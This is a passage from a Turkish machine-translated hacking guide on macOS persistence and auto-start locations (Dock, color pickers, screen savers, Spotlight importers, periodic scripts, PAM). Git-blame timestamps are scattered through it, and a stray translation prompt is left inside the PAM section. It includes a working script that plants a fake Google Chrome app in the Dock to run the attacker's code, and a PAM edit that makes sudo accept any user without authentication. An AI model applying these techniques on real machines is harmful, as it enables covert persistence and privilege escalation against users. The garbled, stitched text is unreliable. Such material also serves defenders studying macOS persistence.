1. ** `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist` **'yi yedeklemek için `/tmp` 'ye kopyalayı n:
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
2. Şimdi, yeni ayarladı ğı nı z Klasör Eylemlerini **kaldı rı n** :
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
< figure > < img src = "../.gitbook/assets/image (3) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Şimdi boş bir ortama sahip olduğumuz için
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
3. Yedek dosyayı kopyalayı n: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
4. Bu yapı landı rmayı tüketmek için Klasör Eylemleri Kurulumu uygulaması nı açı n: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
2023-09-28 15:09:34 +00:00
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
Ve bu bana işe yaramadı , ancak bunlar yazı dan gelen talimatlar:(
2023-09-28 15:09:34 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
### Dock kı sayolları
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0027/ ](https://theevilbit.github.io/beyond/beyond\_0027/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* Ancak sistem içine kötü amaçlı bir uygulama yüklemiş olmanı z gerekiyor
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* `~/Library/Preferences/com.apple.dock.plist`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Kullanı cı nı n dock içindeki uygulamaya tı kladı ğı nda
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Dock'ta görünen tüm uygulamalar, plist içinde belirtilir: ** `~/Library/Preferences/com.apple.dock.plist` **
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Bir uygulama eklemek mümkündür sadece:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /System/Applications/Books.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
# Restart Dock
killall Dock
```
{% endcode %}
2024-02-10 18:14:16 +00:00
Bazı **sosyal mühendislik** kullanarak, örneğin dock içinde Google Chrome gibi **taklit yapabilir** ve aslı nda kendi betiğinizi çalı ştı rabilirsiniz:
2023-09-28 21:12:41 +00:00
```bash
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat < < EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
< !DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > CFBundleExecutable< / key >
< string > Google Chrome< / string >
< key > CFBundleIdentifier< / key >
< string > com.google.Chrome< / string >
< key > CFBundleName< / key >
< string > Google Chrome< / string >
< key > CFBundleVersion< / key >
< string > 1.0< / string >
< key > CFBundleShortVersionString< / key >
< string > 1.0< / string >
< key > CFBundleInfoDictionaryVersion< / key >
< string > 6.0< / string >
< key > CFBundlePackageType< / key >
< string > APPL< / string >
< key > CFBundleIconFile< / key >
< string > app< / string >
2023-09-28 21:12:41 +00:00
< / dict >
< / plist >
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /tmp/Google Chrome.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
killall Dock
```
2024-02-10 18:14:16 +00:00
### Renk Seçicileri
2023-09-28 21:12:41 +00:00
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0017 ](https://theevilbit.github.io/beyond/beyond\_0017/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
* Çok belirli bir eylem gerçekleşmesi gerekiyor
* Başka bir kum havuzunda sonlanacaksı nı z
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
* `/Library/ColorPickers`
2024-02-10 18:14:16 +00:00
* Root gerekli
* Tetikleyici: Renk seçiciyi kullanı n
2023-09-28 15:09:34 +00:00
* `~/Library/ColorPickers`
2024-02-10 18:14:16 +00:00
* Tetikleyici: Renk seçiciyi kullanı n
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Kodunuzla birlikte bir renk seçici paketi derleyin (örneğin [**bu örneği** ](https://github.com/viktorstrate/color-picker-plus ) kullanabilirsiniz) ve bir yapı landı rı cı ekleyin (ekran koruyucu bölümündeki gibi) ve paketi `~/Library/ColorPickers` dizinine kopyalayı n.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Ardı ndan, renk seçici tetiklendiğinde kodunuz da tetiklenmelidir.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Kütüphanenizi yükleyen ikili dosyanı n **çok kı sı tlayı cı bir kum havuzu** olduğunu unutmayı n: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
[Key] com.apple.security.temporary-exception.sbpl
2024-02-10 18:14:16 +00:00
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
2023-06-01 21:09:46 +00:00
```
2023-09-28 15:09:34 +00:00
{% endcode %}
2024-02-10 18:14:16 +00:00
### Finder Senkronizasyon Eklentileri
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
**Açı klama**: [https://theevilbit.github.io/beyond/beyond\_0026/ ](https://theevilbit.github.io/beyond/beyond\_0026/ )\
**Açı klama**: [https://objective-see.org/blog/blog\_0x11.html ](https://objective-see.org/blog/blog\_0x11.html )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Sandbox'ı atlamak için kullanı şlı mı ?: **Hayı r, çünkü kendi uygulamanı zı yürütmeniz gerekmektedir**
* TCC atlaması : ???
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Belirli bir uygulama
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
Bir Finder Senkronizasyon Uzantı sı örneği olan bir uygulama [**burada bulunabilir** ](https://github.com/D00MFist/InSync ).
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
Uygulamalar `Finder Senkronizasyon Uzantı ları ` na sahip olabilir. Bu uzantı , yürütülecek bir uygulamanı n içine yerleştirilir. Dahası , uzantı nı n kodunu yürütebilmesi için **geçerli bir Apple geliştirici sertifikası yla imzalanmı ş** , **sandbox'a alı nmı ş** (rahatlatı lmı ş istisnalar eklenmiş olabilir) ve bir şeye kaydedilmiş olması gerekmektedir:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
2023-06-01 21:09:46 +00:00
```
2024-02-10 18:14:16 +00:00
### Ekran Koruyucu
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0016/ ](https://theevilbit.github.io/beyond/beyond\_0016/ )\
Yazı : [https://posts.specterops.io/saving-your-access-d562bf5bf90b ](https://posts.specterops.io/saving-your-access-d562bf5bf90b )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
* Ancak, genel bir uygulama kum havuzunda sona ereceksiniz
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
* `/System/Library/Screen Savers`
2024-02-10 18:14:16 +00:00
* Root gerekli
* **Tetikleyici**: Ekran koruyucusunu seçin
2023-09-28 15:09:34 +00:00
* `/Library/Screen Savers`
2024-02-10 18:14:16 +00:00
* Root gerekli
* **Tetikleyici**: Ekran koruyucusunu seçin
2023-09-28 15:09:34 +00:00
* `~/Library/Screen Savers`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Ekran koruyucusunu seçin
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
< figure > < img src = "../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt = "" width = "375" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Xcode'da yeni bir proje oluşturun ve yeni bir **Ekran Koruyucu** oluşturmak için şablonu seçin. Ardı ndan, kodunuzu ekleyin, örneğin aşağı daki kodu günlükler oluşturmak için kullanabilirsiniz.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
**Derleyin** ve `.saver` paketini ** `~/Library/Screen Savers` ** dizinine kopyalayı n. Ardı ndan, Ekran Koruyucu GUI'sini açı n ve üzerine tı kladı ğı nı zda birçok günlük oluşturması gerektiğini göreceksiniz:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char ** )
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
```
{% endcode %}
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
Dikkat: Bu kodu yükleyen binary'nin (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) yetkilendirmeleri içinde ** `com.apple.security.app-sandbox` ** bulunduğundan dolayı **ortak uygulama sandbox'ı nda** olacaksı nı z.
2023-09-28 15:09:34 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
Saver kodu:
2023-09-28 15:09:34 +00:00
```objectivec
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
2023-09-28 15:09:34 +00:00
}
- (void)startAnimation
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super startAnimation];
2023-09-28 15:09:34 +00:00
}
- (void)stopAnimation
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super stopAnimation];
2023-09-28 15:09:34 +00:00
}
- (void)drawRect:(NSRect)rect
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super drawRect:rect];
2023-09-28 15:09:34 +00:00
}
- (void)animateOneFrame
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return;
2023-09-28 15:09:34 +00:00
}
- (BOOL)hasConfigureSheet
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return NO;
2023-09-28 15:09:34 +00:00
}
- (NSWindow*)configureSheet
{
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return nil;
2023-09-28 15:09:34 +00:00
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
2024-02-10 18:14:16 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
2023-09-28 15:09:34 +00:00
}
@end
```
2024-02-10 18:14:16 +00:00
### Spotlight Eklentileri
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
yazı : [https://theevilbit.github.io/beyond/beyond\_0011/ ](https://theevilbit.github.io/beyond/beyond\_0011/ )
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
* Ancak bir uygulama kum havuzunda sona ereceksiniz
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
* Kum havuzu çok sı nı rlı görünüyor
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-10-01 18:04:16 +00:00
* `~/Library/Spotlight/`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Spotlight eklentisi tarafı ndan yönetilen bir uzantı ya sahip yeni bir dosya oluşturulduğunda.
2023-10-01 18:04:16 +00:00
* `/Library/Spotlight/`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Spotlight eklentisi tarafı ndan yönetilen bir uzantı ya sahip yeni bir dosya oluşturulduğunda.
* Root yetkisi gerektirir
2023-10-01 18:04:16 +00:00
* `/System/Library/Spotlight/`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Spotlight eklentisi tarafı ndan yönetilen bir uzantı ya sahip yeni bir dosya oluşturulduğunda.
* Root yetkisi gerektirir
2023-10-01 18:04:16 +00:00
* `Some.app/Contents/Library/Spotlight/`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Spotlight eklentisi tarafı ndan yönetilen bir uzantı ya sahip yeni bir dosya oluşturulduğunda.
* Yeni bir uygulama gereklidir
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
Spotlight, macOS'in yerleşik bir arama özelliğidir ve kullanı cı lara **bilgisayarları ndaki verilere hı zlı ve kapsamlı erişim** sağlamak için tasarlanmı ştı r.\
Bu hı zlı arama yeteneğini kolaylaştı rmak için Spotlight, **özel bir veritabanı ** tutar ve dosya adları nı ve içeriklerini analiz ederek bir indeks oluşturur, böylece hem dosya adları hem de içerikleri üzerinde hı zlı aramalar yapı labilir.
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
Spotlight'ı n temel mekanizması , 'mds' adı verilen merkezi bir süreçle gerçekleştirilir ve bu süreç, Spotlight hizmetini yönetir. Buna ek olarak, farklı dosya türlerini indeksleme gibi çeşitli bakı m görevlerini gerçekleştiren birden fazla 'mdworker' daemonu bulunur (`ps -ef | grep mdworker`). Bu görevler, Spotlight içe aktarı cı eklentileri veya ** ".mdimporter paketleri**" aracı lı ğı yla mümkün kı lı nı r, bu sayede Spotlight'ı n çeşitli dosya formatları nda içeriği anlaması na ve indekslemesine olanak tanı r.
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
Eklentiler veya ** `.mdimporter` ** paketleri, önceden belirtilen yerlerde bulunur ve yeni bir paket göründüğünde dakikalar içinde yüklenir (herhangi bir hizmeti yeniden başlatmaya gerek yoktur). Bu paketler, hangi **dosya türü ve uzantı ları yönetebileceklerini** belirtmelidir, bu şekilde Spotlight, belirtilen uzantı ya sahip yeni bir dosya oluşturulduğunda onları kullanacaktı r.
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
Yüklenmiş tüm `mdimporter` 'ları bulmak mümkündür:
2023-10-01 18:04:16 +00:00
```bash
mdimport -L
Paths: id(501) (
2024-02-10 18:14:16 +00:00
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
2023-10-01 18:04:16 +00:00
```
2024-02-10 18:14:16 +00:00
Ve örneğin ** /Library/Spotlight/iBooksAuthor.mdimporter** bu tür dosyaları ayrı ştı rmak için kullanı lı r (`.iba` ve `.book` uzantı ları dahil):
2023-10-01 18:04:16 +00:00
```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
2024-02-10 18:14:16 +00:00
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
2023-10-01 18:04:16 +00:00
[...]
2024-02-10 18:14:16 +00:00
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
2023-10-01 18:04:16 +00:00
[...]
```
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
Diğer `mdimporter` 'ları n Plist'ini kontrol ederseniz, ** `UTTypeConformsTo` ** girişini bulamayabilirsiniz. Bu, yerleşik bir _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) olduğu için uzantı ları belirtmeye gerek duymaz.
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
Ayrı ca, Sistem varsayı lan eklentileri her zaman önceliklidir, bu nedenle bir saldı rgan yalnı zca Apple'ı n kendi `mdimporters` tarafı ndan dizine alı nmayan dosyalara erişebilir.
2023-10-01 18:04:16 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
Kendi içe aktarı cı nı zı oluşturmak için bu projeye başlayabilirsiniz: [https://github.com/megrimm/pd-spotlight-importer ](https://github.com/megrimm/pd-spotlight-importer ) ve ardı ndan adı , ** `CFBundleDocumentTypes` **'ı değiştirin ve ** `UTImportedTypeDeclarations` ** ekleyin, böylece desteklemek istediğiniz uzantı yı destekler ve bunları ** `schema.xml` **'de yansı tı n.\
Sonra ** `GetMetadataForFile` ** işlevinin kodunu değiştirerek, işlenen uzantı ya sahip bir dosya oluşturulduğunda saldı rı yükünüzü yürütün.
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
Son olarak, yeni `.mdimporter` 'ı nı zı **bir önceki konumlardan birine inşa edin ve kopyalayı n** ve yüklendiğinde **günlükleri izleyerek** veya ** `mdimport -L.` ** kontrol ederek kontrol edebilirsiniz.
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
### ~~Tercih Bölmesi~~
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-02-10 18:14:16 +00:00
Bu artı k çalı şmı yor gibi görünmüyor.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0009/ ](https://theevilbit.github.io/beyond/beyond\_0009/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
* Belirli bir kullanı cı eylemi gerektirir
* TCC atlaması : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/System/Library/PreferencePanes`**
* **`/Library/PreferencePanes`**
* **`~/Library/PreferencePanes`**
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
Bu artı k çalı şmı yor gibi görünmüyor.
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
## Kök Kum Havuzu Atlaması
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-02-10 18:14:16 +00:00
Burada, **kum havuzu atlaması na** izin veren ve **bir dosyaya yazarak** basitçe bir şeyi **kök olarak** yürütmenizi sağlayan ve/veya diğer **garip koşullar gerektiren** **başlangı ç konumları ** bulabilirsiniz.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
### Periyodik
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0019/ ](https://theevilbit.github.io/beyond/beyond\_0019/ )
2023-09-26 23:39:35 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
* Ancak kök olmanı z gerekiyor
* TCC atlaması : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-26 23:39:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-26 23:39:35 +00:00
2023-09-28 20:05:35 +00:00
* `/etc/periodic/daily` , `/etc/periodic/weekly` , `/etc/periodic/monthly` , `/usr/local/etc/periodic`
2024-02-10 18:14:16 +00:00
* Kök gereklidir
* **Tetikleyici**: Zaman geldiğinde
* `/etc/daily.local` , `/etc/weekly.local` veya `/etc/monthly.local`
* Kök gereklidir
* **Tetikleyici**: Zaman geldiğinde
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Periyodik komut dosyaları (**`/etc/periodic`**), `/System/Library/LaunchDaemons/com.apple.periodic*` 'de yapı landı rı lan **başlatma hizmetleri** nedeniyle yürütülür. `/etc/periodic/` 'de depolanan komut dosyaları nı n, dosyanı n sahibi olarak **yürütüldüğünü** unutmayı n, bu nedenle potansiyel bir ayrı calı k yükseltme için çalı şmayacaktı r.
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% code overflow="wrap" %}
```bash
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
2023-06-01 21:09:46 +00:00
```
2023-09-28 20:05:35 +00:00
{% endcode %}
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
**`/etc/defaults/periodic.conf`** dosyası nda belirtilen diğer periyodik betikler de çalı ştı rı lacaktı r:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
2023-06-01 21:09:46 +00:00
```
2024-02-10 18:14:16 +00:00
Eğer `/etc/daily.local` , `/etc/weekly.local` veya `/etc/monthly.local` dosyaları ndan herhangi birini yazmayı başarı rsanı z, **daha önce veya daha sonra çalı ştı rı lacaktı r** .
2023-09-28 15:09:34 +00:00
2023-11-02 16:52:21 +00:00
{% hint style="warning" %}
2024-02-10 18:14:16 +00:00
Dikkat edin, periyodik betik, **betiğin sahibi olarak çalı ştı rı lacaktı r** . Yani, eğer bir düzenli kullanı cı betiğin sahibi ise, betik o kullanı cı olarak çalı ştı rı lacaktı r (bu, ayrı calı k yükseltme saldı rı ları nı önleyebilir).
2023-11-02 16:52:21 +00:00
{% endhint %}
2023-09-28 20:05:35 +00:00
### PAM
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Yazı : [Linux Hacktricks PAM ](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md )\
Yazı : [https://theevilbit.github.io/beyond/beyond\_0005/ ](https://theevilbit.github.io/beyond/beyond\_0005/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Sandbox'ı atlamak için kullanı şlı : [🟠 ](https://emojipedia.org/large-orange-circle )
* Ancak root olmanı z gerekiyor
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
* Her zaman root gereklidir
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
PAM, macOS içinde kolay yürütme yerine **kalı cı lı k** ve kötü amaçlı yazı lı mlara daha çok odaklandı ğı için, bu blog, bu tekniği daha iyi anlamak için ayrı ntı lı bir açı klama yapmayacaktı r. **Bu tekniği daha iyi anlamak için yazı ları okuyun** .
2023-11-02 16:52:21 +00:00
2024-02-10 18:14:16 +00:00
PAM modüllerini kontrol etmek için:
2023-11-02 16:52:21 +00:00
```bash
ls -l /etc/pam.d
```
2024-02-10 18:14:16 +00:00
PAM'i istismar eden bir kalı cı lı k/privilege escalation tekniği, /etc/pam.d/sudo modülünü değiştirerek başlamak kadar kolaydı r. Başlangı çta şu satı rı eklemek:
2023-11-02 16:52:21 +00:00
```bash
auth sufficient pam_permit.so
```
2024-02-10 18:14:16 +00:00
Aşağı daki içerik, bir hackleme kitabı ndan alı nan bir içeriği içerir. Aşağı daki içerik, /hive/hacktricks/macos-hardening/macos-auto-start-locations.md dosyası ndan alı nmı ştı r. İlgili İngilizce metni Türkçe'ye çevirin ve çeviriyi aynı markdown ve html sözdizimiyle geri döndürün. Kod, hackleme teknik adları , hackleme kelimesi, bulut/SaaS platform adları (örneğin Workspace, aws, gcp...), 'sı zı ntı ' kelimesi, pentesting ve markdown etiketleri gibi şeyleri çevirmeyin. Ayrı ca çeviri ve markdown sözdizimi dı şı nda herhangi bir ekstra şey eklemeyin.
2023-11-02 16:52:21 +00:00
```bash
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
```
2024-02-10 18:14:16 +00:00
